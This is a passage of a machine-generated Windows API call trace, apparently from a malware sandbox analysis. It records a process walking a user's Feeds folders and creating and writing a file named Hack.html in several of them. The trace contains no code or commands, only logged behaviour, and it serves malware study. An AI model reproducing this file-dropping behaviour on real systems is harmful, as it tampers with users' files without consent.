HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x4d [0076.894] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.895] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.895] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.895] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.895] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.895] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.895] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.896] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x39e6dc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x4d [0076.897] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Hack.html", lpFilePart=0x0) returned 0x56 [0076.897] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Hack.html", lpszLongPath=0x39e6dc, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0076.897] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x39e6a0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x4c [0076.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0076.899] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.900] GetFileType (hFile=0x174) returned 0x1 [0076.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0076.900] GetFileType (hFile=0x174) returned 0x1 [0076.900] WriteFile (in: hFile=0x174, lpBuffer=0x26fcf58*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x26fcf58*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0076.901] CloseHandle (hObject=0x174) returned 1 [0076.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.901] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x63 [0076.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x63 [0076.902] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x63 [0076.902] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7c8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.903] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpFilePart=0x0) returned 0x64 [0076.904] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.906] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.906] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.906] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.906] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0076.906] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x63 [0076.907] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x63 [0076.907] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x39e7e8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x63 [0076.908] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7c8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.908] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpFilePart=0x0) returned 0x64 [0076.909] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7bc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.911] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a1e8 [0076.911] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.912] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0076.912] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0076.912] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0076.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0076.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0076.912] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.913] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x6e [0076.913] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x6e [0076.913] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x6e [0076.914] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e794, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.914] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e794, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x6f [0076.915] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.916] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x6f [0076.917] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpFilePart=0x0) returned 0x6f [0076.917] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x6f [0076.919] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0076.919] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0076.919] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0076.920] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0076.920] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0076.920] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0076.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0076.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0076.920] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.921] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x6e [0076.922] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x6e [0076.922] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x39e7b4, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x6e [0076.923] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e794, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.925] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e794, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x6f [0076.926] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.927] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x6f [0076.927] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpFilePart=0x0) returned 0x6f [0076.927] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e788, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x6f [0076.929] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1e8 [0076.929] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0076.930] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0076.930] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0076.930] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0076.930] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0076.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0076.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0076.930] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e6a8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.931] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x39e6a8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x6f [0076.932] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Hack.html", lpFilePart=0x0) returned 0x78 [0076.932] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Hack.html", lpszLongPath=0x39e6a8, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0076.932] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x39e66c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x6e [0076.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0076.933] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0076.948] GetFileType (hFile=0x174) returned 0x1 [0076.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0076.948] GetFileType (hFile=0x174) returned 0x1 [0076.948] WriteFile (in: hFile=0x174, lpBuffer=0x2704f38*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x2704f38*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0076.949] CloseHandle (hObject=0x174) returned 1 [0076.949] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x39e6dc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x64 [0076.950] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\Hack.html", 